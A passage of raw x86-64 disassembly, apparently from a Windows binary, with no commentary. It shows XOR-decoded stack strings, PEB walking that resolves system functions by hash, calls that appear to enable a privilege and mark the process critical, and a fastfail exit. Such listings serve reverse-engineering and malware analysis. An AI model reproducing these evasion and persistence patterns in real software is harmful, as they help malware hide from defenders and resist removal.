mov qword [rbp + 0x430], rax
movabs rax, 0x8bc1c19ad94e0866
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x438], rax
movabs rax, 0x423740455901dd13
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x440], rax
movabs rax, 0x2ac5ed4c76e68528
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x448], rax
movabs rax, 0x3964f7bf9d90bded
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x450], rax
movabs rax, 0xe3992976120389aa
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x458], rax
movabs rax, 0x33551521a817bb67
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x460], rax
movabs rax, 0x93900ea88941b06c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x468], rax
movabs rax, 0xc0bbbe8be5f12b61
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x470], rax
movabs rax, 0x12763df23d7b85ae
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x478], rax
movdqa xmm0, xmmword [rbp + 0x430]
pxor xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
pxor xmm1, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [rbp + 0xf0]
pxor xmm0, xmmword [rbp + 0x450]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
pxor xmm1, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x470]
movdqa xmmword [rbp + 0x110], xmm0
mov r9d, gethostname
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0xa8]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
mov qword [rbp + 0x420], r15
mov qword [rbp + 0x428], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x410], 0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x88], 0
mov ebx, dword [rsp + 0x28]
bts ebx, 0xa
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae r8, qword [rbp + 0xa8]
mov r9, qword [rbp + 0xb8]
xor edx, edx
lea rcx, [rbp + 0x88]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x350], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x360], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x350]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0x368]
cmp rdx, 0x10
jb 0x140379529
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140379524
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799d2
call fcn.140419458
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x350], 0
bt ebx, 0xb
jae 0x1403795a3
btr ebx, 0xb
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0x6f8]
cmp rdx, 0x10
jb 0x140379591
inc rdx
mov rcx, qword [rbp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14037958c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799d8
call fcn.140419458
mov qword [rbp + 0x6f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6e0], 0
bt ebx, 0xa
jae 0x14037960b
btr ebx, 0xa
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x1403795f2
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403795ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14037994e
call fcn.140419458
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x88], 0
mov byte [rsp + 0x2d], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1403796a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1403796a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x8e9a78af
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1403796a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140379680
cmp r8d, 0x8ed0c9c3
je 0x1403796ab
test r9d, r9d
jne 0x140379660
mov rax, qword [rax]
jmp 0x140379630
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rsp + 0x2d]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rsp + 0x44], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140379766
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140379766
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x8f9a7a42
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140379761
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140379740
cmp r8d, 0x3ecf74e3
je 0x14037976b
test r9d, r9d
jne 0x140379720
mov rax, qword [rax]
jmp 0x1403796f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rsp + 0x44]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140379826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140379826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x909a7bd5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140379821
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140379800
cmp r8d, 0x8f9ace97
je 0x14037982b
test r9d, r9d
jne 0x1403797e0
mov rax, qword [rax]
jmp 0x1403797b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov qword [rbp + 0x420], r15
mov qword [rbp + 0x428], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x410], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x14037990d
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140379908
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140379954
call fcn.140419458
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa8], 0
add r14, 8
lea rax, [rbp + 0x640]
cmp r14, rax
jne 0x140376c97
add rsp, 0x808
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
int3
add rcx, 8
jmp 0x140376c00